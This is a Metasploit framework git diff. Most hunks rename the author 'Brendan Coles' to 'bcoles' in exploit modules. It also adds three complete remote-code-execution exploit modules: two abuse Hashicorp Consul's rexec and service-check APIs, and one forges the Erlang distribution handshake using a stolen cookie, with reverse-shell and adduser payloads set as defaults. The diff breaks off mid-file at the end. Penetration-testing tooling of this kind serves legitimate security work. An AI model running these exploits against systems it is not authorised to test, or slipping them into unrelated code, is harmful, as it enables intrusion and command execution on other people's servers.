c7a162900a06..e24ad2b7651a 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -22,7 +22,7 @@ def initialize(info={}) 'Author' => [ 'AkaStep', # Discovery - 'Brendan Coles ' # metasploit exploit + 'bcoles' # metasploit exploit ], 'References' => [ diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index a192a38f3b8c..58e45e9b1350 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -20,7 +20,7 @@ def initialize(info = {}) }, 'Author' => [ - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'License' => MSF_LICENSE, 'DefaultOptions' => diff --git a/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb b/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb index 4ede219c429f..264409d7c6c9 100644 --- a/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb +++ b/modules/exploits/multi/http/ibm_openadmin_tool_soap_welcomeserver_exec.rb @@ -30,7 +30,7 @@ def initialize(info = {}) 'Author' => [ 'SecuriTeam', # Discovery and exploit - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index f166ce5bef74..577460055435 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -19,7 +19,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/multi/http/processmaker_exec.rb b/modules/exploits/multi/http/processmaker_exec.rb index c7e1023ab43a..21c50132688a 100644 --- a/modules/exploits/multi/http/processmaker_exec.rb +++ b/modules/exploits/multi/http/processmaker_exec.rb @@ -20,7 +20,7 @@ def initialize(info={}) the web interface. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['OSVDB', '99199'], diff --git a/modules/exploits/multi/http/processmaker_plugin_upload.rb b/modules/exploits/multi/http/processmaker_plugin_upload.rb index 28bbcaf3c634..2d547dac25d6 100644 --- a/modules/exploits/multi/http/processmaker_plugin_upload.rb +++ b/modules/exploits/multi/http/processmaker_plugin_upload.rb @@ -24,7 +24,7 @@ def initialize(info = {}) and version 3.2.0 on Debian Linux 8. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['URL', 'http://wiki.processmaker.com/3.0/Plugin_Development'] diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index 82c885373347..9a6a62ab8fdb 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -21,7 +21,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Discovery and exploit + 'bcoles' # Discovery and exploit ], 'References' => [ diff --git a/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb b/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb index b82317f305a2..d938183ed746 100644 --- a/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb +++ b/modules/exploits/multi/local/magnicomp_sysinfo_mcsiwrapper_priv_esc.rb @@ -31,7 +31,7 @@ def initialize(info = {}) [ 'Daniel Lawson', # Discovery and exploit 'Romain Trouve', # Discovery and exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Sep 23 2016', 'Platform' => %w(linux solaris), diff --git a/modules/exploits/multi/local/xorg_x11_suid_server.rb b/modules/exploits/multi/local/xorg_x11_suid_server.rb index 5166ba63d4ea..8a37ad5d58cb 100644 --- a/modules/exploits/multi/local/xorg_x11_suid_server.rb +++ b/modules/exploits/multi/local/xorg_x11_suid_server.rb @@ -41,7 +41,7 @@ def initialize(info = {}) 'Narendra Shinde', # Discovery and exploit 'Raptor - 0xdea', # Modified exploit for cron 'Aaron Ringo', # Metasploit module - 'Brendan Coles ' # Metasploit module + 'bcoles' # Metasploit module ], 'DisclosureDate' => 'Oct 25 2018', 'References' => diff --git a/modules/exploits/multi/misc/consul_rexec_exec.rb b/modules/exploits/multi/misc/consul_rexec_exec.rb new file mode 100644 index 000000000000..600687ca218a --- /dev/null +++ b/modules/exploits/multi/misc/consul_rexec_exec.rb @@ -0,0 +1,176 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Hashicorp Consul Remote Command Execution via Rexec", + 'Description' => %q{ + This module exploits a feature of Hashicorp Consul named rexec. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Bharadwaj Machiraju ', # Discovery and PoC + 'Francis Alexander ', # Discovery and PoC + 'Quentin Kaiser ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://www.consul.io/docs/agent/options.html#disable_remote_exec' ], + [ 'URL', 'https://www.consul.io/docs/commands/exec.html'], + [ 'URL', 'https://github.com/torque59/Garfield' ] + ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => {}, + 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'wget', 'curl' ], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 11 2018')) + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), + OptInt.new('TIMEOUT', [false, 'The timeout to use when waiting for the command to trigger', 20]), + OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), + Opt::RPORT(8500) + ]) + end + + def check + uri = target_uri.path + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "/v1/agent/self"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } + }) + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + begin + agent_info = JSON.parse(res.body) + if agent_info["Config"]["DisableRemoteExec"] == false || agent_info["DebugConfig"]["DisableRemoteExec"] == false + return CheckCode::Vulnerable + else + return CheckCode::Safe + end + rescue JSON::ParserError + vprint_error 'Failed to parse JSON output.' + return CheckCode::Unknown + end + end + + def execute_command(cmd, opts = {}) + uri = target_uri.path + + print_status('Creating session.') + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, 'v1/session/create'), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + }, + 'ctype' => 'application/json', + 'data' => {:Behavior => "delete", :Name => "Remote Exec", :TTL => "15s"}.to_json + }) + + if res and res.code == 200 + begin + sess = JSON.parse(res.body) + print_status("Got rexec session ID #{sess['ID']}") + rescue JSON::ParseError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') + end + end + + print_status("Setting command for rexec session #{sess['ID']}") + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/job?acquire=#{sess['ID']}"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + }, + 'ctype' => 'application/json', + 'data' => {:Command => "#{cmd}", :Wait => 2000000000}.to_json + }) + if res and not res.code == 200 or res.body == 'false' + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') + end + + print_status("Triggering execution on rexec session #{sess['ID']}") + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, "v1/event/fire/_rexec"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + }, + 'ctype' => 'application/json', + 'data' => {:Prefix => "_rexec", :Session => "#{sess['ID']}"}.to_json + }) + if res and not res.code == 200 + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') + end + + begin + Timeout.timeout(datastore['TIMEOUT']) do + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}/?keys=&wait=2000ms"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } + }) + begin + data = JSON.parse(res.body) + break if data.include? 'out' + rescue JSON::ParseError + fail_with(Failure::Unknown, 'Failed to parse JSON output.') + end + sleep 2 + end + rescue Timeout::Error + # we catch this error so cleanup still happen afterwards + print_status("Timeout hit, error with payload ?") + end + + print_status("Cleaning up rexec session #{sess['ID']}") + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, "v1/session/destroy/#{sess['ID']}"), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } + }) + + if res and not res.code == 200 or res.body == 'false' + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') + end + + res = send_request_cgi({ + 'method' => 'DELETE', + 'uri' => normalize_uri(uri, "v1/kv/_rexec/#{sess['ID']}?recurse="), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } + }) + + if res and not res.code == 200 or res.body == 'false' + fail_with(Failure::Unknown, 'An error occured when contacting the Consul API.') + end + end + + def exploit + execute_cmdstager() + end +end diff --git a/modules/exploits/multi/misc/consul_service_exec.rb b/modules/exploits/multi/misc/consul_service_exec.rb new file mode 100644 index 000000000000..5e48776f743d --- /dev/null +++ b/modules/exploits/multi/misc/consul_service_exec.rb @@ -0,0 +1,132 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info={}) + super(update_info(info, + 'Name' => "Hashicorp Consul Remote Command Execution via Services API", + 'Description' => %q{ + This module exploits Hashicorp Consul's services API to gain remote command + execution on Consul nodes. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Bharadwaj Machiraju ', # Discovery and PoC + 'Francis Alexander ', # Discovery and PoC + 'Quentin Kaiser ' # Metasploit module + ], + 'References' => + [ + [ 'URL', 'https://www.consul.io/api/agent/service.html' ], + [ 'URL', 'https://github.com/torque59/Garfield' ] + ], + 'Platform' => 'linux', + 'Targets' => [ [ 'Linux', {} ] ], + 'Payload' => {}, + 'CmdStagerFlavor' => [ 'bourne', 'echo', 'printf', 'curl', 'wget'], + 'Privileged' => false, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 11 2018')) + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path', '/']), + OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]), + OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']), + Opt::RPORT(8500) + ]) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, '/v1/agent/self'), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } + }) + + unless res + vprint_error 'Connection failed' + return CheckCode::Unknown + end + + unless res.code == 200 + vprint_error 'Unexpected reply' + return CheckCode::Safe + end + + agent_info = JSON.parse(res.body) + + if agent_info["Config"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableScriptChecks"] == true || agent_info["DebugConfig"]["EnableRemoteScriptChecks"] == true + return CheckCode::Vulnerable + end + + CheckCode::Safe + rescue JSON::ParserError + vprint_error 'Failed to parse JSON output.' + return CheckCode::Unknown + end + + def execute_command(cmd, opts = {}) + uri = target_uri.path + service_name = Rex::Text.rand_text_alpha(5..10) + print_status("Creating service '#{service_name}'") + + # NOTE: Timeout defines how much time the check script will run until + # getting killed. Arbitrarily set to one day for now. + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri(uri, 'v1/agent/service/register'), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + }, + 'ctype' => 'application/json', + 'data' => { + :ID => "#{service_name}", + :Name => "#{service_name}", + :Address => "127.0.0.1", + :Port => 80, + :check => { + :script => "#{cmd}", + :Args => ["sh", "-c", "#{cmd}"], + :interval => "10s", + :Timeout => "86400s" + } + }.to_json + }) + unless res && res.code == 200 + fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.') + end + print_status("Service '#{service_name}' successfully created.") + print_status("Waiting for service '#{service_name}' script to trigger") + sleep(12) + print_status("Removing service '#{service_name}'") + res = send_request_cgi({ + 'method' => 'PUT', + 'uri' => normalize_uri( + uri, + "v1/agent/service/deregister/#{service_name}" + ), + 'headers' => { + 'X-Consul-Token' => datastore['ACL_TOKEN'] + } + }) + if res && res.code != 200 + fail_with(Failure::UnexpectedReply, + 'An error occured when contacting the Consul API.' + ) + end + end + + def exploit + execute_cmdstager() + end +end diff --git a/modules/exploits/multi/misc/erlang_cookie_rce.rb b/modules/exploits/multi/misc/erlang_cookie_rce.rb new file mode 100644 index 000000000000..8ffab6494732 --- /dev/null +++ b/modules/exploits/multi/misc/erlang_cookie_rce.rb @@ -0,0 +1,178 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = GreatRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Erlang Port Mapper Daemon Cookie RCE', + 'Description' => %q{ + The erlang port mapper daemon is used to coordinate distributed erlang instances. + Should an attacker get the authentication cookie RCE is trivial. Usually, this + cookie is named ".erlang.cookie" and varies on location. + }, + 'Author' => + [ + 'Daniel Mende', # blog post article + 'Milton Valencia (wetw0rk)', # metasploit module + ], + 'References' => + [ + ['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => 'false', + 'Targets' => + [ + [ 'Unix', + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse'}, + ], + [ 'Linux (CmdStager)', + 'Type' => :cmdstager, + 'Platform' => 'linux', + 'Arch' => [ARCH_X64, ARCH_X86], + 'CmdStagerFlavor' => ['printf', 'echo', 'bourne'] + ], + [ 'Windows', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => {'PAYLOAD' => 'cmd/windows/adduser'}, + ], + [ 'Windows (CmdStager)', + 'Type' => :cmdstager, + 'Platform' => 'win', + 'Arch' => [ARCH_X64, ARCH_X86], + 'CmdStagerFlavor' => ['certutil', 'vbs'], + 'DefaultOptions' => {'PAYLOAD' => 'windows/shell/reverse_tcp'} + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Nov 20, 2009', # https://github.com/erlang/otp/blob/master/lib/kernel/src/os.erl (history) + ) + ) + + register_options( + [ + OptString.new('COOKIE', [ true, 'Erlang cookie to login with']), + Opt::RPORT(25672) + ]) + end + + def generate_challenge_digest(challenge) + challenge = challenge.unpack('H*')[0].to_i(16).to_s + + hash = Digest::MD5.new + hash.update(datastore['COOKIE']) + hash.update(challenge) + + vprint_status("MD5 digest generated: #{hash.hexdigest}") + return [hash.hexdigest].pack('H*') + end + + def execute_command(cmd, opts={}) + # SEND: send the message to the node + send = "\x00\x00\x00" # Length:0x00000000 + send << [(0x50 + cmd.length + @our_node.length*2).to_s(16)].pack('H*') # + send << "\x70" # + send << "\x83" # VERSION_MAGIC + send << "\x68" # SMALL_TUPLE_EXT (104) + send << "\x04" # Arity: 4 + send << "\x61" # SMALL_INTEGER_EXT + send << "\x06" # Int: 6 + send << "\x67" # PID_EXT (103) + send << "\x64\x00" # Node: + send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{@our_node}" # Node + send << "\x00\x00\x00\x03" # ID + send << "\x00\x00\x00\x00" # Serial + send << "\x00" # Creation + send << "\x64" # InternalSegmentIndex + send << "\x00\x00" # Len: 0x0000 + send << "\x64" # InternalSegmentIndex + send << "\x00\x03" # Length: 3 + send << "rex" # AtomText: rex + send << "\x83\x68\x02\x67\x64\x00" # + send << [(@our_node.length).to_s(16)].pack('H*') # Length: strlen(Node) + send << "#{@our_node}" # Node + send << "\x00\x00\x00\x03" # ID + send << "\x00\x00\x00\x00" # Serial + send << "\x00" # Creation + send << "\x68" # SMALL_TUPLE_EXT (104) + send << "\x05" # Arity: 5 + send << "\x64" # InternalSegmentIndex + send << "\x00\x04" # Length: 4 + send << "call" # AtomText: call + send << "\x64" # InternalSegmentIndex + send << "\x00\x02" # Length: 2 + send << "os" # AtomText: os + send << "\x64" # InternalSegmentIndex + send << "\x00\x03" # Length: 3 + send << "cmd" # AtomText: cmd + send << "\x6c" # LIST_EXT + send << "\x00\x00\x00\x01" # Length: 1 + send << "\x6b" # Elements: k + send << "\x00" # Tail + send << [(cmd.length).to_s(16)].pack('H*') # strlen(Command) + send << cmd + send << "\x6a" # NIL_EXT + send << "\x64" # InternalSegmentIndex + send << "\x00\x04" # Length: 4 + send << "user" # AtomText: user + sock.put(send) + end + + def exploit + connect + + @our_node = "#{rand_text_alphanumeric(6..12)}@#{rand_text_alphanumeric(6..12)}" + + # SEND_NAME: send initial identification of who "we" are + send_name = "\x00" # Length: 0x0000 + send_name << [(@our_node.length+7).to_s(16)].pack('H*') # + send_name << "\x6e" # Tag: n + send_name << "\x00\x05" # Version: R6 (5) + send_name << "\x00\x03\x49\x9c" # Flags (0x0003499c) + send_name << "#{@our_node}" # @ + + # SEND_CHALLENGE_REPLY: return generated digest and its own challenge + send_challenge_reply = "\x00\x15" # Length: 21 + send_challenge_reply << "\x72" # Tag: r + + sock.put(send_name) + + # recieve servers "SEND_CHALLENGE" token (4 bytes) + print_status("Receiving server challenge") + challenge = sock.get + challenge = challenge[14,4] + + send_challenge_reply << challenge + send_challenge_reply << generate_challenge_digest(challenge) + + print_status("Sending challenge reply") + sock.put(send_challenge_reply) + + if sock.get.length < 1 + fail_with(Failure::UnexpectedReply, "Authentication Failed:#{datastore['COOKIE']}") + end + + print_good("Authentication successful, sending payload") + + print_status('Exploiting...') + if target['Type'] == :cmdstager + execute_cmdstager(:linemax => 100) + else + execute_command(payload.raw) + end + disconnect + end +end diff --git a/modules/exploits/multi/misc/msf_rpc_console.rb b/modules/exploits/multi/misc/msf_rpc_console.rb index 4176d437812b..b9d65e8e00c1 100644 --- a/modules/exploits/multi/misc/msf_rpc_console.rb +++ b/modules/exploits/multi/misc/msf_rpc_console.rb @@ -24,7 +24,7 @@ def initialize(info = {}) 4.14 on Windows 7 SP1. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ [ 'URL', 'https://help.rapid7.com/metasploit/Content/api/rpc/overview.html' ], diff --git a/modules/exploits/qnx/local/ifwatchd_priv_esc.rb b/modules/exploits/qnx/local/ifwatchd_priv_esc.rb index df457c226d72..e084adf784ae 100644 --- a/modules/exploits/qnx/local/ifwatchd_priv_esc.rb +++ b/modules/exploits/qnx/local/ifwatchd_priv_esc.rb @@ -30,7 +30,7 @@ def initialize(info = {}) [ 'cenobyte', # Discovery and exploit 'Tim Brown', # Independent discovery - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/qnx/qconn/qconn_exec.rb b/modules/exploits/qnx/qconn/qconn_exec.rb index c424b6ce42fd..d1ec94207519 100644 --- a/modules/exploits/qnx/qconn/qconn_exec.rb +++ b/modules/exploits/qnx/qconn/qconn_exec.rb @@ -25,7 +25,7 @@ def initialize(info = {}) [ 'David Odell', # Discovery 'Mor!p3r', # PoC - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb b/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb index 1c83d04441f0..93c8641ce7f2 100644 --- a/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb +++ b/modules/exploits/solaris/local/extremeparr_dtappgather_priv_esc.rb @@ -53,7 +53,7 @@ def initialize(info = {}) [ 'Shadow Brokers', # exploit 'Hacker Fantastic', # dtappgather-poc.sh - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Apr 24 2017', 'Privileged' => true, diff --git a/modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb b/modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb index b4bcd2161f81..cf145c972d8b 100644 --- a/modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb +++ b/modules/exploits/solaris/local/libnspr_nspr_log_file_priv_esc.rb @@ -51,7 +51,7 @@ def initialize(info = {}) [ 'iDefense', # Discovery 'Marco Ivaldi', # Exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Oct 11 2006', 'Privileged' => true, diff --git a/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb b/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb index bed086bab1db..7c08844eab9c 100644 --- a/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb +++ b/modules/exploits/solaris/local/rsh_stack_clash_priv_esc.rb @@ -57,7 +57,7 @@ def initialize(info = {}) 'Author' => [ 'Qualys Corporation', # Stack Clash technique and Solaris_rsh.c exploit - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'DisclosureDate' => 'Jun 19 2017', 'Privileged' => true, diff --git a/modules/exploits/unix/http/dell_kace_k1000_upload.rb b/modules/exploits/unix/http/dell_kace_k1000_upload.rb index 20c64df72d7a..8568a6648ffb 100644 --- a/modules/exploits/unix/http/dell_kace_k1000_upload.rb +++ b/modules/exploits/unix/http/dell_kace_k1000_upload.rb @@ -30,7 +30,7 @@ def initialize(info = {}) 'Author' => [ 'Bradley Austin (steponequit)', # Initial discovery and exploit - 'Brendan Coles ', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/http/quest_kace_systems_management_rce.rb b/modules/exploits/unix/http/quest_kace_systems_management_rce.rb index 044b5b03cf0e..c60680d74cb1 100644 --- a/modules/exploits/unix/http/quest_kace_systems_management_rce.rb +++ b/modules/exploits/unix/http/quest_kace_systems_management_rce.rb @@ -38,7 +38,7 @@ def initialize(info = {}) [ 'Leandro Barragan', # Discovery and PoC 'Guido Leo', # Discovery and PoC - 'Brendan Coles', # Metasploit + 'bcoles', # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/misc/qnx_qconn_exec.rb b/modules/exploits/unix/misc/qnx_qconn_exec.rb index c8673e191747..3df5b8df27cb 100644 --- a/modules/exploits/unix/misc/qnx_qconn_exec.rb +++ b/modules/exploits/unix/misc/qnx_qconn_exec.rb @@ -28,7 +28,7 @@ def initialize(info = {}) [ 'David Odell', # Discovery 'Mor!p3r', # PoC - 'Brendan Coles' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb index d9706e7bdc5f..e99a449f850c 100644 --- a/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb +++ b/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb @@ -23,7 +23,7 @@ def initialize(info = {}) 'Author' => [ 'Benjamin Harris', # Discovery and exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/flashchat_upload_exec.rb b/modules/exploits/unix/webapp/flashchat_upload_exec.rb index 8cf898718c5c..aba01bf514d8 100644 --- a/modules/exploits/unix/webapp/flashchat_upload_exec.rb +++ b/modules/exploits/unix/webapp/flashchat_upload_exec.rb @@ -23,7 +23,7 @@ def initialize(info={}) 'Author' => [ 'x-hayben21', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb index ce09a7f024ca..a98f29591bbb 100644 --- a/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb +++ b/modules/exploits/unix/webapp/hybridauth_install_php_exec.rb @@ -24,7 +24,7 @@ def initialize(info = {}) 'Author' => [ 'Pichaya Morimoto', # Discovery and PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/kimai_sqli.rb b/modules/exploits/unix/webapp/kimai_sqli.rb index 77ffe84d371e..3d6c03986aa3 100644 --- a/modules/exploits/unix/webapp/kimai_sqli.rb +++ b/modules/exploits/unix/webapp/kimai_sqli.rb @@ -25,7 +25,7 @@ def initialize(info={}) 'Author' => [ 'drone', # Discovery and PoC - 'Brendan Coles ' # Metasploit module + 'bcoles' # Metasploit module ], 'References' => [ diff --git a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb index 995cc5512742..d8d69a953096 100644 --- a/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb +++ b/modules/exploits/unix/webapp/open_flash_chart_upload_exec.rb @@ -23,7 +23,7 @@ def initialize(info={}) 'Braeden Thomas', # Initial discovery + Piwik PoC 'Gjoko Krstic ', # OpenEMR PoC 'Halim Cruzito', # zonPHP PoC - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 7f59dbad8e71..edb4ce78c8ab 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -22,7 +22,7 @@ def initialize(info={}) 'Author' => [ 'EgiX', # Discovery - 'Brendan Coles ' # msf exploit + 'bcoles' # msf exploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 7488db411c06..a7a05a00fc2a 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -21,7 +21,7 @@ def initialize(info={}) 'Author' => [ 'AkaStep', # Discovery and PoC - 'Brendan Coles ' # msf exploit + 'bcoles' # msf exploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/projectsend_upload_exec.rb b/modules/exploits/unix/webapp/projectsend_upload_exec.rb index 4f391e6b15f2..b24b70e84d37 100644 --- a/modules/exploits/unix/webapp/projectsend_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectsend_upload_exec.rb @@ -22,7 +22,7 @@ def initialize(info={}) 'Author' => [ 'Fady Mohammed Osman', # Discovery and Exploit - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb index 82e139092b93..c883d1236337 100644 --- a/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb +++ b/modules/exploits/unix/webapp/simple_e_document_upload_exec.rb @@ -24,7 +24,7 @@ def initialize(info={}) 'Author' => [ 'vinicius777[at]gmail.com', # Auth bypass discovery and PoC, kinda - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb b/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb index 2127468fa528..9c5810cd7cee 100644 --- a/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb +++ b/modules/exploits/unix/webapp/vicidial_user_authorization_unauth_cmd_exec.rb @@ -26,7 +26,7 @@ def initialize(info = {}) and 2.13 RC1 on CentOS. }, 'License' => MSF_LICENSE, - 'Author' => 'Brendan Coles ', + 'Author' => 'bcoles', 'References' => [ ['URL', 'http://www.vicidial.org/VICIDIALmantis/view.php?id=1016'] diff --git a/modules/exploits/unix/webapp/webtester_exec.rb b/modules/exploits/unix/webapp/webtester_exec.rb index b8ea3208ac55..3a1bc059d8f4 100644 --- a/modules/exploits/unix/webapp/webtester_exec.rb +++ b/modules/exploits/unix/webapp/webtester_exec.rb @@ -20,7 +20,7 @@ def initialize(info={}) 'License' => MSF_LICENSE, 'Author' => [ - 'Brendan Coles ' # Metasploit + 'bcoles' # Metasploit ], 'References' => [ diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index 9429626a1024..727e53d79f76 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -28,7 +28,7 @@ def initialize(info={}) ], 'Author' => [ - 'Brendan Coles ', # Discovery and exploit + 'bcoles', # Discovery and exploit ], 'License' => MSF_LICENSE, 'Privileged' => true, diff --git a/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb b/modules/exploits/windows/fileformat/nitro_reader_jsapi.rb index ce0cd38c34d2..e2fd635bbe0c 100644 --- 